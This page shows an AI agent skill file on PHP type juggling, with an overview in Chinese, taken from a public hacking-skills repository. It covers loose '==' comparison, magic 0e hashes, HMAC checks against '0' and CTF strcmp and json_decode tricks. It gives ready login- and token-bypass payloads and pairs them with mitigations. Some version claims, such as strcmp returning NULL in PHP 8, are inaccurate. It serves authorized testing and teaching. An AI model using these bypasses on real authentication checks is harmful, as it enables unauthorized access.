Type Juggling

作者 yaklang6fbf0bc8d5c7無授權條款2.4K 個星標收錄於 2026年10月8日更新於 2026年10月8日儲存庫3 週前更新

PHP type juggling and weak comparison (`==`) bypass. Use when authentication, HMAC/signature checks, or token validation uses loose equality, numeric coercion, or hash comparisons without strict types — common in legacy PHP and CTF-style code paths.

僅含說明Security
AI 產生的概覽

說明 PHP 型別混淆與弱比較繞過,涵蓋鬆散相等、魔術雜湊與 HMAC 檢查。

功能
此技能說明 PHP 鬆散比較的語意,包括真值表、PHP 5/7/8 的版本差異、以 0e 開頭的魔術雜湊碰撞、HMAC 與 "0" 的比較、無效型別造成的 NULL 轉換,以及 CTF 風格的 strcmp、intval 與 json_decode 技巧。它提供參考表、酬載範例與決策樹,用來分析弱比較的匯聚點。產出的是指引與分析,而非可執行指令碼。
適用情境
適用於審查或評估依賴鬆散相等、數值強制轉型或非嚴格型別雜湊比較的 PHP 驗證、簽章或權杖檢查程式碼。面向已獲授權的安全評估、CTF 或實驗環境,需要先確認比較匯聚點與 PHP 版本。
執行需求
不需要指令碼或套件,僅為說明性內容。建議使用本機 PHP CLI 重現比較行為,且僅限用於已獲授權的目標。

SKILL: PHP Type Juggling — Weak Comparison & Magic Hash Bypass

AI LOAD INSTRUCTION: PHP == coercion, magic hashes (0e…), HMAC/hash loose checks, NULL from bad types, and CTF-style strcmp / json_decode / intval tricks. Use strict routing: map the sink (== vs hash_equals), PHP major version, and whether both operands are attacker-controlled. Routing note: when you encounter PHP login/signature logic or code like md5($_GET['x'])==md5($_GET['y']), start with this skill; if hash_equals/=== is already used, this path usually does not apply.

0. QUICK START

First-pass goal: prove the server branch treats unequal secrets/tokens as equal via coercion, not guess the real password.

First-pass payloads (auth / token shape)

text
password[]=xpassword=00e12345240610708QNKCDZOtrue[]{"password":true}admin%00

Minimal PHP probes (local or php -r in lab)

php
<?php// Loose compare probes — run in target PHP major version if possiblevar_dump('0e123' == '0e999');var_dump('123a' == 123);var_dump(md5('240610708') == md5('QNKCDZO'));

Routing hints

ClueNext step
Source code uses == to compare passwords, tokens, or HMAC valuesGo to Sections 1-3
md5($a) == md5($b) or loose sha1 comparisonSection 2 magic hashes
hash_hmac(...) != '0' or compared with "0"Section 3
strcmp、json_decode(..., true)、intvalSection 5

1. LOOSE COMPARISON (==) — TRUTH TABLE & VERSIONS

PHP compares operands with type juggling unless you use === or hash_equals() for secrets.

1.1 Core examples (strings vs numbers)

ExpressionResultMechanism (short)
'0010e2' == '1e3'trueBoth strings look numeric → compared as floats; both parse to 1000.0 (not zero — common exam trap; see next row for real “both zero”)
'0e462097431906509019562988736854' == '0e830400451993494058024219903391'trueBoth parse as 0.0 in scientific notation
'123a' == 123trueString cast to int stops at first non-digit → 123
'abc' == 0true (PHP 7.x and earlier)Non-numeric string compared to int → string becomes 0
'' == 0trueEmpty string → 0
'' == falsetrueboth “falsy” in loose rules
false == NULLtrueloose equality
0 == falsetrueloose equality
'' == 0 == false == NULLtrue (chain)Each adjacent pair is true under == (''==0, 0==false, false==NULL) — classic “falsy” chain
'0' == falsetrueString '0' is the only non-empty string that compares as false to boolean
'php' == 0false (PHP 8+)PHP 8: non-numeric string no longer equals 0

1.2 PHP 5 vs 7 vs 8 (high-signal deltas)

TopicPHP 5.x / 7.x (typical)PHP 8.0+
0 == "foo"true (string → 0)false
String-to-number for "123a"Still truncates for (int) / numeric compare in many == pathsSame idea for numeric strings; non-numeric vs int fixed as above
md5([]) / sha1([])May warn / NULL-like behavior in older patternsTypeError for wrong types — kills classic [] tricks unless error handling collapses to NULL

Tester takeaway: always note PHP version from headers, X-Powered-By, or fingerprint; a payload that works on PHP 7 may fail on PHP 8.

1.3 Safe alternative (defense / verification)

php
hash_equals((string)$expected, (string)$actual);  // timing-safe, strict string// or$expected === $actual;

2. MAGIC HASHES (0e… + digits only)

When both sides are hex-looking hash strings that match ^0e[0-9]+$, PHP treats them as floats in scientific notation → value 0.0. Then md5(A) == md5(B) is true even though digests differ as strings.

2.1 Reference table (MD5 / SHA-1 and longer algos)

AlgorithmExample inputDigest (starts with 0e + all decimal digits)
MD52406107080e462097431906509019562988736854
MD5QNKCDZO0e830400451993494058024219903391
SHA-1109324351120e07766915004133176347055865026311692244
SHA-224(brute-force / precomputed)Example form: 0e + decimal digits only → == with another such string is true
SHA-256(brute-force / precomputed)Same pattern: only strings matching ^0e\d+$ collide under ==

Why it works: md5('240610708') == md5('QNKCDZO') → both sides match ^0e[0-9]+$ → both interpreted as 0.0 == 0.0 → true.

2.2 Exploit pattern in code

php
if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {    // intended: different strings, same md5 (impossible for md5)    // actual: two different strings whose *digests* are magic hashes}

2.3 Payload sketch (pair hunting)

text
?a=240610708&b=QNKCDZO

For SHA-224/256, treat as search problem: brute-force inputs until digest matches ^0e\d+$; pair two distinct inputs. Longer hashes = harder; MD5/SHA1 examples above are the usual teaching set.


3. HMAC BYPASS (LOOSE COMPARE VS "0" OR 0)

If logic uses loose inequality against a constant:

php
if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }// or == 0, == false with string "0e...", etc.

Brute-force $data (e.g. timestamp, nonce, counter) until hash_hmac output matches ^0e[0-9]+$ (for MD5 output) or the code’s specific loose rule — then the hash may compare equal to 0 or to another magic digest under ==.

Example (MD5-style 0e digest for a numeric message)

ConceptExample
Message typeUnix timestamp, incrementing id, millisecond clock
Timestamp brute-force patternTutorials sometimes cite 1539805986 → 0e772967136366835494939987377058 as a magic-hash style example; md5('1539805986') does not yield that digest in stock PHP — use the idea (scan timestamps / counters until output matches ^0e[0-9]+$) and always verify against the exact function + key in the target code.
GoalFind $data such that hash_hmac('md5', $data, $key) matches ^0e[0-9]+$
NoteWithout knowing $key, you may still brute $data if algorithm/output are visible in a oracle; CTFs often leak or fix key
text
# Conceptual: try many timestampsfor t in range(T0, T1):    if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):        use t

Mitigation: hash_equals($mac, $expected) + fixed-length hex/binary encoding; never compare HMAC to bare "0".


4. NULL JUGGLING (ARRAYS & TYPE ERRORS)

Invalid types can yield NULL on the compared side; loose equality to another NULL or coerced value may pass.

CallTypical PHP 7/8 behavior
md5([])PHP 8: TypeError; older: warnings / not reliable across versions
sha1([])Same
IdeaIf error handler or custom wrapper converts failures to NULL, then NULL == NULL or NULL == sha1("x") if other side is also NULL
php
// CTF / broken code mental model:@sha1($_GET['x']) == @sha1($_GET['y']);  // if both error to NULL → true

Real audits: look for @, custom try/catch that sets hash to null, or user input passed where a string is required.


5. CTF PATTERNS

5.1 strcmp / strcasecmp with arrays

php
strcmp([], "password");  // NULL in PHP 7/8 (invalid args)// NULL == 0  → true in loose compare if code does:if (strcmp($_GET['p'], $secret) == 0)

Payload:

text
?p[]=1

5.2 intval bypass

php
// Hex: base 0 lets PHP interpret 0x prefix (version-dependent; always verify)intval("0x1A", 0);   // → 26
// Octal: leading 0 can be parsed as octal with base 0intval("010", 0);  // → 8 (classic teaching example; confirm on target PHP)
// Scientific notation: intval() alone stops at 'e'; cast via float firstintval((float) "1e2"); // → 100
text
?id=0x1A?id=010?id=1e2

5.3 json_decode + true for associative array auth

json
{"password": true}
php
$j = json_decode($input, true);if ($j['password'] == $stored_string) // true == "nonempty" often true — see PHP loose rules

5.4 is_numeric + loose compare

php
is_numeric("0e12345");  // true"0e12345" == 0;         // true (scientific notation → 0.0)

5.5 Deserialization + magic properties

Unserialize user input into objects whose __toString or properties feed into md5($obj) or loose compare — combine with magic hash strings on properties (CTF). Look for unserialize($_…) near == on hashes.


6. DECISION TREE

text
                         +------------------+                         | PHP loose compare|                         | or hash == hash? |                         +--------+---------+                                  |                    +-------------+-------------+                    |                           |             +------v------+             +------v------+             | Uses === or |             | Uses == or   |             | hash_equals |             | strcmp == 0  |             +------+------+             +------+-------+                    |                           |               STOP (likely)              +-----v-----+                                          | Operand   |                                          | types?    |                                          +-----+-----+                           +--------------+---+--------------+                           |              |                  |                    +------v------+ +-----v-----+    +-------v--------+                    | Both numeric| | One int & |    | Hash digests   |                    | strings 0e… | | one string|    | both 0e\d+ ?   |                    +------+------+ +-----+-----+    +-------+--------+                           |              |                  |                      MAGIC HASH    STRING/INT           MAGIC HASH                      COLLISION     JUGGLING             (md5/sha1/…)                           |              |                  |                           +------+-------+------------------+                                  |                           +------v------+                           | HMAC / MAC  |                           | vs "0"      |                           +------+------+                                  |                           brute $data                           for 0e… digest                                  |                           +------v------+                           | Arrays /    |                           | json true / |                           | strcmp([])  |                           +-------------+

Tool references

ToolUse
Local php CLIReproduce == behavior for target major version
Static code reviewGrep ==, != on crypto outputs; find missing hash_equals
CTF frameworksPayload generators for magic hashes and 0e search

Safety & scope: Use only on authorized targets (CTF, lab, written permission). This skill explains language semantics for defense and assessment — not a license to attack systems without consent.

來源與署名

來源:yaklang/hack-skills位於skills/type-juggling提交6fbf0bc

授權條款: 無授權條款

內容歸原作者所有。SourceWeft 從公開儲存庫中收錄這些內容。

檢舉或申請下架